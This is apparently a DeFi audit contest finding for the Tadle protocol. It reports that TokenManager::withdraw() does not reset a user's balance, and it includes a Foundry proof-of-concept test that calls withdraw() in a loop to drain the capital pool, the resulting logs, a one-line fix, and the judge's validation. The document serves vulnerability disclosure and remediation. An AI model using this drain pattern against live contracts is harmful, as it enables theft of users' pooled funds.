Tadle

Tadle
DeFi
30,000 USDC
View results
Submission Details
Severity: high
Valid

TokenManager::withdraw() does not update state, user can withdraw all funds in contract

Summary

Function TokenManager::withdraw() does not update contract state. User can call withdraw() multiple times and drain all funds from contract.

Proof of Code

Add this test to PreMarkets.t.sol

function test_userCanWithdrawAllFunds() public {
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Protected
)
);
vm.stopPrank();
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(user2);
preMarktes.createTaker(offerAddr, 500);
vm.stopPrank();
vm.prank(user1);
systemConfig.updateMarket(
"Backpack",
address(mockPointToken),
0.01 * 1e18,
block.timestamp - 1,
3600
);
vm.startPrank(user);
mockPointToken.approve(address(tokenManager), 10000 * 10 ** 18);
deliveryPlace.settleAskMaker(offerAddr, 500);
vm.stopPrank();
vm.prank(address(capitalPool));
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
uint256 startingCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
uint256 startingUserBalance = mockUSDCToken.balanceOf(user);
vm.startPrank(user);
while(mockUSDCToken.balanceOf(address(capitalPool)) >= 1.5e14){ //1.5e14 is what user should be able to withdraw from TaxIncome
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.TaxIncome);
}
vm.stopPrank();
uint256 endingCapitalPoolBalance = mockUSDCToken.balanceOf(address(capitalPool));
uint256 endingUserBalance = mockUSDCToken.balanceOf(user);
uint256 totalWithdrawed = endingUserBalance - startingUserBalance;
console2.log("Starting user balance: %s", startingUserBalance);
console2.log("Ending user balance: %s", endingUserBalance);
console2.log("Starting pool balance %s", startingCapitalPoolBalance);
console2.log("Ending pool balance %s", endingCapitalPoolBalance);
console2.log("Total withdrawed funds %s", totalWithdrawed);
}

run forge test --mt test_userCanWithdrawAllFunds -vvv

Output log:

Logs:
Starting user balance: 99999999988000000000000000
Ending user balance: 100000000005100000000000000
Starting pool balance 17175000000000000
Ending pool balance 75000000000000
Total withdrawed funds 17100000000000000

User should be eligible to withdraw 1.5e14 from TaxIncome, but he was able to withdraw 1.71e16

Impact

High, all funds at risk

Tools Used

Manual review, foundry

Recommendations

Update contract state when making withdrawal

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.